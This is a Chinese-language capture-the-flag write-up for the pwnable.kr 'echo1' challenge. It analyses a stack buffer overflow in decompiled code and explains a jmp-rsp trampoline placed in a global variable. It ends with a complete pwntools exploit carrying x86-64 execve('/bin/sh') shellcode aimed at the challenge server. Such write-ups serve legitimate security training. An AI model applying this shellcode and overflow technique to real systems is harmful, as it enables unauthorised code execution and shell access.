题目链接:http://pwnable.kr/play.php
分析:该程序是一个64位的elf文件,运行程序.输入name,选择选项.
hey, what's your name? : bill
- select echo type -
- 1. : BOF echo
- 2. : FSB echo
- 3. : UAF echo
- 4. : exit
大致流程就这样.看到有三个选项只有第一个选项可以使用,由此可以猜到后面还会有echo2,echo3.
直接进入正题:
漏洞分析:
int echo1()
{
char s; // [sp+0h] [bp-20h]@1
(*((void (__fastcall **)(_QWORD))o + 3))(o);
get_input(&s, 128);
puts(&s);
(*((void (__fastcall **)(_QWORD, _QWORD))o + 4))(o, 128LL);
return 0;
}
[bp-20h]----->s的length为32,但是输入确有128个字节,很明显的溢出.
漏洞利用:
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
可以看到几乎什么防护都没有,可是有一点我们不知道,进入echo1后输入内容的地址.你也许会说:通过gdb调试core文件,gdb 查看内存地址.可是我想说的是这些都是你本机上面的地址,换个机器说不一定就变了.而且PIE(ADSL)是disable,不一定远端是ADSL.简单的来说就是返回值地址不能确定填什么.
解决方法:
int main(int argc, const char **argv, const char **envp)
{
int *v3; // rsi@1
_QWORD *v4; // rax@1
int v6; // [sp+Ch] [bp-24h]@1
_QWORD v7[4]; // [sp+10h] [bp-20h]@1
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc('(');
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0);
v3 = (int *)v7;
__isoc99_scanf("%24s", v7);
v4 = o;
*(_QWORD *)o = v7[0];
v4[1] = v7[1];
v4[2] = v7[2];
id = v7[0];
......
这里我放了一部分main函数,能说明问题就行.可以看到有一个叫id的全局变量,这个全局变量的值是由你输入的name赋给它的.id大小为四个字节.id这个变量的地址是固定的,通过gdb查看:
print &id
$3 = (no debug info> *) 0x6020a0
这个内容是由我们控制的.
payload的总体思路分为两部:
1.在id中填入shellcode(jmp rsp);
2.在数组s中填入:’A’*40+&id+shellcode(system(‘/bin/sh’))
所以exp如下:
from pwn import *
#sh=process('./echo1')
sh=remote('pwnable.kr',9010)
shellcode="\x48\x31\xc0\x48\x83\xc0\x3b\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x8d\x3c\x24\x48\x31\xf6\x48\x31\xd2\x0f\x05"
sh.sendline(asm("jmp rsp",arch='amd64',os='linux'))
sh.sendline("1")
sh.sendline('A'*40+p64(0x6020A0)+shellcode)
sh.interactive()
当汇编指令ret执行完,rsp执行了shellcode.执行流程:
rip--->&id--->shellcode